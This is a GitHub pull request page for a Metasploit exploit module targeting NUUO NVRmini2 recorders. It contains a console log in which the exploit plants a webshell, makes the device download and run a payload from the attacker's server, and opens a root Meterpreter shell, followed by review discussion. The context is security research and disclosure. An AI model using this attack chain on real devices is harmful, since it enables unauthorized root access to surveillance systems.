rapid7 / **metasploit-framework** Public

Code | Issues 499 | **Pull requests 48** | Discussions | Actions | ...

New issue

Jump to bottom

Add exploit for NUUO NVRmini2 zero day unauth RCE as root #16044

Open **pedrib** wants to merge 13 commits into `rapid7:master` from `pedrib:nuuo_0day`

Conversation 18 | Commits 13 | Checks 17 | Files changed 2

pedrib commented on Jan 12 Contributor

This module exploits two vulnerabilities in NUUO's NVRmini2 NVR device.
It allows an unauthenticated attacker to achieve remote code execution as root, and works on all firmwares ever released.

More information in my advisory

```
msf6 exploit(linux/http/nuuo_nvrmini_unauth_rce_r2) > exploit
[*] Started reverse TCP handler on 192.168.241.1:4444
[*] 192.168.241.61:80 - Uploading initial payload...
[+] 192.168.241.61:80 - We now have root access via /shelly.php, using it to deploy payload...
[*] 192.168.241.61:80 - Starting up our web service on http://192.168.241.1:4445/hWICscieDptfuL
...
[*] Using URL: http://192.168.241.1:4445/hWICscieDptfuL
[*] 192.168.241.61:80 - Asking the device to download and execute
http://192.168.241.1:4445/hWICscieDptfuL
[*] 192.168.241.61:80 - Sending the payload to the device...
[*] Sending stage (903360 bytes) to 192.168.241.61
[+] Deleted /NUUO/web/shelly.php
[*] Meterpreter session 5 opened (192.168.241.1:4444 -> 192.168.241.61:40979 ) at 2022-01-07
23:14:29 +0000
[+] 192.168.241.61:80 - Shell incoming!
[*] Server stopped.

meterpreter > getuid
Server username: root
meterpreter > shell
Process 14664 created.
Channel 1 created.
id
uid=0(root) gid=0(root)
uname -a
```

```
Linux NVR 2.6.31.8 #1 Thu Oct 11 09:18:12 CST 2018 armv5tel GNU/Linux
cat /etc/titan.conf
[Version]
Kernel=2.6.31.8.0006
MIN_Kernel=2.6.31.8.0000
OS=03.11.0000.0016
MIN_OS=01.06.0000.0113
NVR=03.11.0000.0016
MIN_NVR=01.06.0000.0113
(...)
NVRReleaseDate=20211110
(...)
```

🎉 2

Pedro Ribeiro and others added 7 commits 2 years ago

`Merge pull request #31 from rapid7/master …`	✓ eca5609
`Merge pull request #32 from rapid7/master …`	8afe9a7
`Merge branch 'rapid7:master' into master`	55dd212
`Merge branch 'rapid7:master' into master`	59d6a25
`Merge branch 'rapid7:master' into master`	489aad4
`Create nuuo_nvrmini_unauth_rce_r2.rb`	cf1d198
`Update nuuo_nvrmini_unauth_rce_r2.rb`	✗ 98dc551

pedrib commented on Jan 12 Contributor Author

TODO:

- create docs
- add proper CVE (requested from MITRE)

I'll do this in the next couple of days!

pedrib commented on Jan 12 Contributor Author

What does this mean?

```
W:150: 24: Lint/UselessAssignment: Useless assignment to variable - content_disposition.
```

space-r7 commented on Jan 12 Contributor

> What does this mean? `W:150: 24: Lint/UselessAssignment: Useless assignment to variable - content_disposition.`

It typically refers to a variable that's not used anywhere in the module.

adfoster-r7 reviewed on Jan 12

View changes

`modules/exploits/linux/http/nuuo_nvrmini_unauth_rce_r2.rb` Outdated Show resolved

`Update modules/exploits/linux/http/nuuo_nvrmini_unauth_rce_r2.rb` … ✕ `8e107e8`

pedrib commented on Jan 13 Contributor Author

CVE ID requested, coming soon (they're usually pretty quick).

dwelch-r7 added **needs-docs** **needs-linting** labels on Jan 13

github-actions bot commented on Jan 13

Thanks for your pull request! Before this can be merged, we need the following documentation for your module:

- Writing Module Documentation
- Template
- Examples

github-actions bot commented on Jan 13

Thanks for your pull request! Before this pull request can be merged, it must pass the checks of our automated linting tools.

We use Rubocop and msftidy to ensure the quality of our code. This can be ran from the root directory of Metasploit:

```
rubocop <directory or file>
tools/dev/msftidy.rb <directory or file>
```

You can automate most of these changes with the `-a` flag:

```
rubocop -a <directory or file>
```

Please update your branch after these have been made, and reach out if you have any problems.

dwelch-r7 commented on Jan 13 Contributor

If this were converted over to deliver an ARCH_PHP payload we may be able to avoid the need for the HTTP server interactions
In this pattern you'd deliver the ARCH_PHP payload and simply request it to start it's execution and a handler would pick it up. If you were to use the php/exec payload it could also take a command that would be in the results of triggering the payload

You can check out an example of this here: https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/webapp/thinkphp_rce.rb#L223

pedrib commented on Jan 13 Contributor Author

@dwelch-r7 unfortunately that's not really possible... the target uses a custom encryption scheme which was too lazy to reverse, as that would take substantially more time than I have available.
So I used `gdbserver` to trick it into encrypting a webshell and a shadow file to use on this exploit.
More info in the advisory:
https://github.com/pedrib/PoC/blob/master/advisories/NUUO/nuuo_nvrmini_round2.mkd

Pedro Ribeiro added 3 commits 11 months ago

`fix rubocop updates` ✕ 2359134

`add nuuo nvrmini docs` ✕ 5bb995e

`update module description` ✕ c7a4ac9

pedrib commented on Jan 13 Contributor Author

Docs added, now we just need that CVE and it's good to go!

`add CVE number` ✕ 2c92e0b

pedrib commented on Jan 14 Contributor Author

all done, good to go

`fix typo in repeatable` ✓ 8a58599

pedrib commented on Jan 15 Contributor Author

ok had a typo, now ready to go 4 real (final final x2 version)

😄 2

gwillcox-r7 added docs and removed **needs-docs** **needs-linting** labels on Jan 18

gwillcox-r7 added the **module** label on Jan 18

gwillcox-r7 commented on Jan 20 Contributor

> **@dwelch-r7** unfortunately that's not really possible... the target uses a custom encryption scheme which was too lazy to reverse, as that would take substantially more time than I have available. So I used `gdbserver` to trick it into encrypting a webshell and a shadow file to use on this exploit. More info in the advisory: https://github.com/pedrib/PoC/blob/master/advisories/NUUO/nuuo_nvrmini_round2.mkd

Sorry to be the bearer of bad news **@pedrib** but after speaking internally with our team unfortunately the decision at the moment is that we can't move this forwards unless we have a way to generate the binary blob ourselves to attest to its integrity. This is the same as our general policy of not allowing arbitrary binaries that we can't compile ourselves into Metasploit Framework.

Once we have a way to generate this binary blob we will be happy to move this forwards. If you have more questions on this **@smcintyre-r7** will likely be able to assist you, I'm just relaying on the info he gave me when we had a chat about this.

gwillcox-r7 added the **delayed** label on Jan 20

pedrib commented on Jan 21 • edited ▾ Contributor Author

@gwillcox-r7 **@smcintyre-r7** you guys are breaking my balls... but it's understandable. I'll need to get some free time to reverse the encryption. Don't close this PR please!

🎉 1 ❤️ 1

cdelafuente-r7 commented on Jul 18 Contributor

Hi **@pedrib**, I'm just checking-in to see if you could make progress on this or if you need any help from us. Thanks!

pedrib commented on Jul 19 Contributor Author

hi **@cdelafuente-r7** thanks for asking! Unfortunately haven't had the time to reverse engineer the encryption yet, but it's on my TODO list!

👍 1

adfoster-r7 commented on Jul 28 Contributor

I wonder - if we could just document the steps for manually encrypt files ourselves - if that would be enough to unblock this PR? i.e. We don't need to verify the decryption is valid - just that we get the expected encrypted file that we're after for RCE?

Just as a sanity question - is the encryption method the same for all devices? i.e. I assume the same encrypted payload works across different devices as well? 😄

pedrib commented on Jul 28 Contributor Author

@adfoster-r7 you can check the exact steps in the advisory:
https://github.com/pedrib/PoC/blob/master/advisories/NUUO/nuuo_nvrmini_round2.mkd
The steps are reproducible with firmware emulation if you don't have the device, but of course having it makes everything much easier.

Regarding your question about the device, it most definitely will work on any device, since there is no device dependant encryption, the encryption is done in the firmware (which is not customised per device).

I did confirm that it works across different firmware versions, but would be good to get someone else to confirm too if you have access to the device?

Reviewers

adfoster-r7

Assignees

No one assigned

No one assigned

Labels

delayed docs module

Projects

None yet

Milestone

No milestone

Development

Successfully merging this pull request may close these issues.

None yet

6 participants